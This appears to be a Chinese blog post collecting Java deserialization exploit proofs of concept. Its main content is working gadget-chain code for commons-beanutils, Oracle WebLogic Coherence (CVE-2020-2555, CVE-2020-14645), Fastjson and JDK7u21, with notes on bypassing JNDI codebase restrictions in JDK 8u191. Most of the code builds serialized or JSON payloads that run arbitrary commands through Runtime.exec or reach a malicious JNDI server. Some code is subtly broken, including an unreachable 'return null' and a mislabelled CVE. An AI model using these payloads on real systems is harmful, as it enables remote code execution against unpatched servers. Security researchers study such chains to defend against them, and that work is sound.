import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/*
 * Gadget:
 *   PriorityQueue#readObject
 *     BeanComparator#compare
 *       TemplatesImpl#getOutputProperties
 *         TemplatesImpl#newTransformer
 * 1. 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用
 * 2. 可以在高版本使用
 * */
public class BeanutilsPoc {

    public static byte[] getSerializeData() throws Exception{
        // 创建恶意 TemplatesImpl 对象,_bytecodes 属性装载着恶意字节码
        TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
        // 创建比较器
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
        // 先用 add 添加元素,否则后面对 queue[] 数组的操作无法把真正的元素添加到 priorityQueue 中
        priorityQueue.add("1");
        priorityQueue.add("1");
        // 反射获取 queue[] 数组
        Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");
        queue[0] = templatesImpl;
        queue[1] = "ky0116";
        // 最后反射对字段进行赋值,防止在构造payload时触发Gadget
        Reflect.reflectSetField(beanComparator,"property","outputProperties");
        byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);
        return bytes;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        byte[] bytes = getSerializeData();
        SaveSerializeData.save(bytes);
        SerWithUnSer.unSerializeObject(bytes);
    }
}

JDBCUnserialize

  1. JDBC连接代码中的queryInterceptors属性指定拦截器,在连接数据库时会调用拦截器的preProcess方法
  2. 在连接数据库时会向数据库发出 SHOW SESSION STATUS 查询,我们可以编写恶意mysql服务器,让 SHOW SESSION STATUS 查询结果返回我们精心构造的结果!
  3. 最后通过构造可以调用到ResultSetImpl#getObject方法,方法里面存在反序列化操作!
  4. 难点在于编写mysql服务器,这一块先放着先,后续补上!

Coherence01_CVE-2020-2555

  1. BadAttributeValueExpException#readObject可以调用任意类的toString方法
  2. ReflectionExtractor#extract存在动态方法调用
  3. ChainedExtractor#extract可以调用一组extract方法
  4. LimitFilter#toString可以调用到继承ValueExtractor接口任意类的extract方法
package com.javasec.pocs;

import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;

/* CVE-2020-2555
 * Gadget:
 *   BadAttributeValueExpException#readObject
 *     LimitFilter#toString
 *       ChainedExtractor#extract
 *         ReflectionExtractor#extract
 *         ReflectionExtractor#extract
 *         ReflectionExtractor#extract
 * 1. 构造payload时使用的Coherence依赖版本需要和目标使用的Coherence版本一致
 * 2. Oracle weblogic 12.1.3.0.0/12.2.1.1.0/12.2.1.2.0/12.2.1.3.0/12.2.1.4.0
 * */
public class Coherence01 {
    public static byte[] getSerializeData() throws Exception{
        // 创建 ValueExtractor[] 数组
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]},1),
                new ReflectionExtractor("invoke",new Object[]{null,new Object[0]},2),
                new ReflectionExtractor("exec",new Object[]{ParseArgs.cmd},3)
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        LimitFilter limitFilter = new LimitFilter();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        // 反射对字段进行赋值
        Reflect.reflectSetField(badAttributeValueExpException,"val",limitFilter);
        Reflect.reflectSetField(limitFilter,"m_comparator",chainedExtractor);
        Reflect.reflectSetField(limitFilter,"m_oAnchorTop",Runtime.class);
        byte[] bytes = SerWithUnSer.serializeObject(badAttributeValueExpException);
        return bytes;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        byte[] bytes = getSerializeData();
        SaveSerializeData.save(bytes);
        SerWithUnSer.unSerializeObject(bytes);
    }
}

Coherence03_CVE-2020-14645

  1. ExtractorComparator#compare方法可以调用任意类的extract方法
  2. UniversalExtractor#extractComplex可以调用getXXX/isXXX方法
  3. JdbcRowSetImpl#getDatabaseMetaData方法可以实现jndi连接。
package com.javasec.pocs;

import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import java.util.PriorityQueue;
/* CVE-2020-2555
 * Gadget:
 *   PriorityQueue#readObject
 *     ExtractorComparator#compare
 *       UniversalExtractor#extract
 *         UniversalExtractor#extractComplex
 *           JdbcRowSetImpl#getDatabaseMetaData
 *             JdbcRowSetImpl#connect
 * 1. 这条链只能用于 12.2.1.4.0 版本依赖,因为 UniversalExtractor 类是 12.2.1.4.0 版本特有的!
 * */
public class Coherence03 {
    public static byte[] getSerializeData() throws Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        // 设置恶意jndi地址
        jdbcRowSet.setDataSourceName(ParseArgs.jndi);
        UniversalExtractor universalExtractor = new UniversalExtractor();
        ExtractorComparator extractorComparator = new ExtractorComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);
        Reflect.reflectSetField(extractorComparator,"m_extractor",universalExtractor);
        Reflect.reflectSetField(universalExtractor,"m_fMethod",false);
        // 反射设置m_aoParam属性值,让其长度为0或者值为null
        Reflect.reflectSetField(universalExtractor,"m_aoParam",new Object[]{});
        // 反射设置m_sName属性值,让其为需要调用的isXXX/getXXX方法
        Reflect.reflectSetField(universalExtractor,"m_sName","getDatabaseMetaData()");
        // 先往priorityQueue添加两个元素,否则后面对queue[] 数组的操作无法添加真正的元素到priorityQueue中,此处try catch捕获异常,让程序继续往下执行
        try {
            priorityQueue.add(1);
            priorityQueue.add(2);
        }catch (Exception e){}
        // 反射获取queue[] 数组,并赋值第一个元素为jdbcRowSet
        Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");
        queue[0] = jdbcRowSet;
        byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);
        return bytes;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        byte[] bytes = getSerializeData();
        SaveSerializeData.save(bytes);
        SerWithUnSer.unSerializeObject(bytes);
    }
}

Fastjson01

  1. jndi利用链添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发Gadget
  2. TemplatesImpl利用链需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget
  3. TemplatesImpl利用链因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!
  4. json还原对象属性会调用其setXXX方法进行设置,即使是不存在这个属性也会调用setXXX,jndi利用链就利用了这一点
  5. TemplatesImpl利用链中的_outputProperties属性会调用getOutputProperties方法,可以在DefaultFieldDeserializer#parseField下断点跟进!
  6. 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点
package com.javasec.pocs;

import com.alibaba.fastjson.parser.Feature;
import com.javasec.utils.CreateTemplatesImpl;
import com.javasec.utils.ParseArgs;
import com.alibaba.fastjson.JSON;
import com.javasec.utils.SavePayloadToFile;
import java.util.Base64;
/*
 * Gadget:
 *   1) Jndi  
 *        JdbcRowSetImpl#setAutoCommit
 *          JdbcRowSetImpl#connect
 *   2) TemplatesImpl  
 *        TemplatesImpl#getOutputProperties
 *          TemplatesImpl#newTransformer
 * 1. 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点
 * 2. 可以在高版本下使用
 * */
public class Fastjson01 {
    public static String getSerializeDataJndi() throws Exception{
        // 添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发Gadget
        String jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
        System.out.println(jsonString);
        return jsonString;
    }

    public static String getSerializeDataTemplatesImpl() throws Exception{
        // 需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget,没有 _tfactory 属性可以在JDK8u11下成功,只测试了这两个版本
        String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_tfactory\":{},\"_name\":\"ky0118\",\"_bytecodes\":[\""+ Base64.getEncoder().encodeToString(CreateTemplatesImpl.getEvilBytes())+"\"],\"_outputProperties\":{}}";
        System.out.println(jsonString);
        return jsonString;
        return null;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        if (ParseArgs.jndi != null){
            String jsonString = getSerializeDataJndi();
            SavePayloadToFile.save(jsonString);
            JSON.parse(jsonString);
        }else if (ParseArgs.cmd != null){
            String jsonString = getSerializeDataTemplatesImpl();
            SavePayloadToFile.save(jsonString);
            // 这里因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!
            JSON.parse(jsonString, Feature.SupportNonPublicField);
        }
    }
}

JDK7u21

  1. 使用 LinkedHashSet 使得兼容性更好
  2. 在LinkedHashSet .add的时候也会触发链,需要在add之前对InvocationHandler的memberValues/type属性赋值,否则会抛出异常导致无法继续往下执行!
  3. 需要保证AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等,为的是能成功调用key.equals 方法
package com.javasec.pocs;

import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
/*
 * Gadget:
 *   HashSet#readObject
 *     AnnotationInvocationHandler#invoke
 *       TemplatesImpl#newTransformer
 * 1. 只能在JDK7u21以下版本使用!
 * */
public class JDK7u21 {

    public static byte[] getSerializeData() throws Exception{
        // 创建恶意 TemplatesImpl 对象
        TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
        // 这里使用 LinkedHashSet 是为了兼容性问题
        LinkedHashSet hashSet = new LinkedHashSet();
        InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{null, null});
        // 创建动态代理对象
        Templates proxyTemplates = (Templates) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
        HashMap hashMap = new HashMap();
        // 反射对字段进行赋值
        Reflect.reflectSetField(invocationHandler,"memberValues",hashMap);
        Reflect.reflectSetField(invocationHandler,"type",Templates.class);
        // 这里需要前面的对memberValues/type反射赋值然后再添加元素,否则会因为没有值而报错!
        hashSet.add(templatesImpl);
        hashSet.add(proxyTemplates);
        // 这里需要对 hashMap 赋值,保证 hashMap,也就是AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等
        hashMap.put("f5a5a608",templatesImpl);
        byte[] bytes = SerWithUnSer.serializeObject(hashSet);
        return bytes;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        byte[] bytes = getSerializeData();
        SerWithUnSer.unSerializeObject(bytes);
        SavePayloadToFile.save(bytes);
    }
}

Bypass JNDI 8u191

  1. JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase 这两个属性上,也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase ,在 JDK 6u132/JDK 7u122/JDK 8u113 以上的版本中这些属性默认为 false ,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

    对属性值的检验在 RegistryContext#decodeObject 方法上

  2. JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12 属性上,也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase ,在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211 以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

    对属性值的检验在 com.sun.naming.internal#loadClass 方法上

  3. JNDI利用RMI会先找到这个类,然后再通过 Class.forName(className,true) 获取 Class,并实例化后强制转换为 ObjectFactory 类然后调用 ObjectFactory.getObjectInstance 方法!既然无法远程加载factory,那么让factory为本地的类,这里用到的是 BeanFactory 类,BeanFactory#getObjectInstance存在动态方法调用!通过构造可以RCE!

  4. JNDI利用LDAP,当LDAP服务器返回的数据中存在 javaserializeddata 字段则会把这个字段的数据进行反序列化,构造恶意 javaserializeddata 字段数据即可!相当于是提供了一个反序列化接口!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值